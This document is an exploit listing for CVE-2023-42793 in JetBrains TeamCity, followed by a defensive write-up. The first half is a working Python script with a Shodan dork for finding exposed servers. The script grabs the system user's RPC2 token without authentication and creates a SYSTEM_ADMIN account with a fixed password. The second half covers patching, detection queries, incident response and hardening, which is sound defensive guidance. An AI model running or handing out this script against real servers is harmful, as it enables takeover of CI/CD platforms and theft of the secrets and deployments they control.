JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3
#- CVE : CVE-2023-42793
import requests
import argparse
import re
import random
import string
import subprocess
banner = """
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
"""
print(banner)
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
args = parser.parse_args()
url = args.url
if url.startswith("https://"):
curl_command = "curl -k"
else:
curl_command = "curl"
get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"
create_user_command = ""
token = ""
response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
match = re.search(r'value="([^"]+)"', response.text)
if match:
token = match.group(1)
print(f"Token: {token}")
else:
print("Token not found in the response")
elif response.status_code == 404:
print("Token already exists")
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
delete_output = delete_process.communicate()
if delete_process.returncode == 0:
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
else:
print("Failed to delete the previous token")
elif response.status_code == 400:
print("Token already exists")
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
delete_output = delete_process.communicate()
if delete_process.returncode == 0:
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
else:
print("Failed to delete the previous token")
else:
print("Failed to get a token")
if token:
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
username = f"city_admin{random_chars}"
data = {
"username": username,
"password": "Main_password!!**",
"email": "angry-admin@funnybunny.org",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}
create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
create_user_response = requests.post(create_user_url, headers=headers, json=data)
if create_user_response.status_code == 200:
print("Successfully exploited!")
print(f"URL: {url}")
print(f"Username: {username}")
print("Password: Main_password!!**")
else:
print("Failed to create new admin user")
if args.verbose:
if response.status_code == 400:
pass
else:
print(f"Final curl command: {create_user_command}") JetBrains TeamCity 2023.05.3 — CVE-2023-42793: Remote Code Execution / Admin Account Creation (High-Level Analysis & Mitigation)
Executive summary
CVE-2023-42793 is a high‑severity vulnerability affecting JetBrains TeamCity releases prior to 2023.05.4. The flaw allows an unauthenticated attacker to abuse TeamCity REST interfaces to obtain elevated access that can result in creation of privileged accounts and subsequent full control of the TeamCity server. Public exploit code has circulated; therefore any internet‑exposed or unpatched TeamCity instance should be treated as high risk and remediated immediately.
What the vulnerability means (non-exploit, conceptual)
At a conceptual level this issue is a failure in access control around TeamCity's REST API and token handling for core/system accounts. An attacker can, without valid administrative credentials, interact with endpoints in ways that result in creation or misuse of tokens and then creation of privileged users. Once an attacker has a SYSTEM_ADMIN account on TeamCity, they can manipulate builds, secrets, agents, and pipelines — effectively compromising the CI/CD platform and anything that relies on it.
Affected versions and remediation status
| Field | Value |
|---|---|
| Vulnerability ID | CVE-2023-42793 |
| Affected TeamCity versions | Versions prior to 2023.05.4 |
| Fixed in | TeamCity 2023.05.4 (and later maintenance releases) |
| Severity | High — privilege escalation / remote account creation |
Immediate recommended actions (prioritized)
- Patch immediately: Upgrade TeamCity servers to 2023.05.4 or later using the official JetBrains upgrade procedures.
- Isolate exposed instances: If you cannot patch immediately, block public access to TeamCity with a network ACL, firewall, or reverse proxy (deny external HTTP(S) access except from trusted IPs).
- Audit admin accounts and tokens: Review TeamCity for newly created admin-level accounts and unusual access tokens and remove or rotate any suspicious artifacts.
- Rotate credentials and secrets: Rotate service account credentials, API tokens, and any secrets used by build configurations, agents, and integrations.
- Review logs & forensic evidence: Collect logs and indicators for incident response before making destructive remediation steps (see Detection section below).
Detection and indicators of compromise (IOCs)
Focus your detection on log events that indicate token creation, token usage for system user actions, and creation of users with elevated roles. Below are safe, defensive example queries and log patterns you can adapt to your environment (SIEM, host logs, or TeamCity server logs).
# Example: generic Splunk-style search (adjust indexes and sourcetypes)
index=teamcity (message="*Create user*" OR message="*token*" OR message="*SYSTEM_ADMIN*")
| stats count by host, user, message, _time
Explanation: This search looks for log events that mention token operations, user creation, or the SYSTEM_ADMIN role. Tailor keywords to match your TeamCity log format (server logs, audit logs).
# Example: grep/search for suspicious user creation events in TeamCity logs
# (run on the server against the TeamCity log directory)
grep -Ei "created user|create.*user|user created|token created|SYSTEM_ADMIN" /path/to/TeamCity/logs/*.log
Explanation: A quick host-level scan for typical phrases that indicate account or token creation. These are starting points — correlate with timestamps and IPs to understand context.
Recommended incident response checklist
- Take a forensically-sound snapshot of the TeamCity server (disk image, memory image if possible).
- Export and preserve TeamCity server logs (audit logs, request logs) and agent logs with timestamps spanning an appropriate window before and after any suspected compromise.
- Identify and list all users with SYSTEM_ADMIN, and record creation times and source IP addresses for newly created accounts.
- Revoke/rotate all API tokens and credentials that may have been issued during the compromise window (including tokens for system accounts and service integrations).
- Review build configurations, plugins, and build steps for injected malicious code or persistence mechanisms (e.g., arbitrary script steps, scheduled tasks, or modified artifacts).
- Consider rebuilding compromised TeamCity instances from known‑good images if integrity cannot be proven; restore from a pre‑incident backup if available and validated.
Hardening and long‑term mitigations
- Keep TeamCity and all CI/CD tooling up to date; apply security patches promptly.
- Limit network exposure: put TeamCity behind a VPN, restrict access via an allow‑list, or use an authenticated reverse proxy.
- Enable Multifactor Authentication (MFA) for administrative accounts where supported; integrate SSO with strong identity providers when possible.
- Minimize use of long‑lived tokens; enforce token expiration and auditing of token issuance.
- Harden build agent host security: run agents with least privilege, isolate ephemeral agents, and ensure artifacts and secrets are stored and accessed securely.
- Monitor CI/CD logs and set alerts for unusual actions (e.g., creation of admin accounts, changes to system settings, token issuance for system accounts).
- Limit plugin usage to vetted plugins only; review plugin permissions during installs and updates.
How to verify a successful upgrade and basic checks
After applying vendor patches or upgrades, verify the TeamCity version using the UI “About” page or the official upgrade verification steps in JetBrains documentation. Confirm the following:
- TeamCity server version matches the patched release.
- No unexpected system accounts or tokens remain.
- Audit logs show expected administrator activity (and no suspicious account creation post-patch).
- Build agents reconnect normally and build pipelines run as expected under validated credentials.
Notes for security teams and CIRT
This vulnerability emphasizes the risk introduced when CI/CD control planes are internet-exposed. An attacker with admin privileges in TeamCity can pivot to downstream systems (artifact repositories, cloud deployments, source code, and secrets). Treat TeamCity as a high‑value asset: schedule regular security reviews, limit exposure, and ensure robust logging and alerting are in place.
References and next steps
- Immediately consult JetBrains' official security advisory and release notes for the precise upgrade path and any post‑upgrade actions.
- If you suspect compromise, engage your incident response team or a qualified third-party incident response provider to perform a thorough investigation.
- Consider a post‑incident security review of your CI/CD pipeline, including secret management, build agent policies, and third‑party integrations.